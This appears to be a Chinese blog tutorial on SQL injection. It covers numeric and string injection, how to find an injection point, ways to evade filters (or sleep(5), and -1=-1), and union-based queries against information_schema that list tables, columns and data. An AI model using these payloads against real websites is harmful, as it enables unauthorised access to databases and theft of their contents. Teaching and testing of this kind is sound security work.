SQL注入分类介绍

SQL注入分类介绍-小葛博客|葛师傅的小窝-专注免费资源分享

1、数字型注入

假设存在一条 URL 为: 
HTTP://www.aaa.com/test.php?id=1
 
1.可以对后台的 SQL 语句猜测为:
SELECT * FROM table WHERE id=1
 
2.先在输入框中输入一个单引号 '
这样的 SQL 语句就会变为:
SELECT * FROM table WHERE id=1'
 
3.在输入框中输入 and 1 = 1
SQL语句变为:
SELECT * FROM table WHERE id=1 and 1 = 1
 
4.在数据库中输入 and 1 = 2
SQL 语句变为:
SELECT * FROM table WHERE id=1 and 1 = 2

2、字符型注入

假设存在一条 URL 为: 
HTTP://www.aaa.com/test.php?id=1
 
1.可以对后台的 SQL 语句猜测为:        
SELECT * FROM table WHERE username = 'admin'
 
2.还是先输入单引号 admin' 来测试
这样的 SQL 语句就会变为:
SELECT * FROM table WHERE username = 'admin''
 
3.输入:admin' and 1 = 1 --+  
在 admin 后有一个单引号 ',用于字符串闭合,最后还有一个注释符 --+
SQL 语句变为:
SELECT * FROM table WHERE username = 'admin' and 1 = 1 --+

3、GET注入(显错注入)

1.判断是否存在注入点:
 
最古老的方法:
select * from user where id=1 and 1=1 正常输出
select * from user where id=1 and 1=2 未输出
 
最简单的方法:
页面后面加',看是否报错
select * from user where id=1 正常输出
select * from user where id=1’ 爆出错误
老师的方法:
如果是数字型传参,可以尝试-1 
例如——
http://www.xxx.com/new.php?id=1   页面显示id=1的新闻   select * from user where id=1 正常输出
http://www.xxx.com/new.php?id=2-1  页面显示id=1的新闻  select * from user where id=2-1 正常输出
and 1=1 and 1=2 被拦截的可能性太高了
可以尝试 and -1=-1 and -1=-2 and 1>0  or 1=1 
或者直接 or sleep(5)
2.get注入
 
猜解当前页面字段总数:
联合查询的字段数必须相同,怎么知道当前表的字段数是否相同 --可以用order by
 
and 1=1 order by 1,2,3,4,5……
select * from admin where id = 1 order by 3;正常执行
select * from admin where id = 1 order by 4;爆出错误
判断的显示位和猜解的字段数相等,猜解的字段数是几位,判断到显示位就是几位
 
判断显示位:
and 1=2 union select 1,2,3,4,5,6,7……
select * from admin where id = 1 union select 1,2,3,4;
 
 
查当前数据库:
and 1=2 union select 1,2,database()
and 1=2 union select 1,2,3,4,5,6,7……判断到的显示位是几就是几,1,2/2,3
根据判断出来的显示位来查询数据库
3.利用MySQL系统自带库查询数据库中的表名/字段/内容
 
认识函数:
information_schema.tables 存放对应的表名和库名       
information_schema.columns 存放对应的字段名和表名
 
查表名:
and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1
(1,1/2,1试试看是不是不止一张表)
 
查字段名:
and 1=2 union select 1,2,column_name from information_schema.columns where table_name=’表名‘ and table_schema=database() limit 0,1
(1,1/2,1试试看有几个字段)
 
查字段内容:
and 1=2 union select 1,字段名,字段名 from 表名 limit 0,1
赞(0) 打赏
未经允许不得转载:小葛博客|葛师傅的小窝-专注免费资源分享 » SQL注入分类介绍
分享到: 更多 (0)

评论 抢沙发

评论前必须登录!

 

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏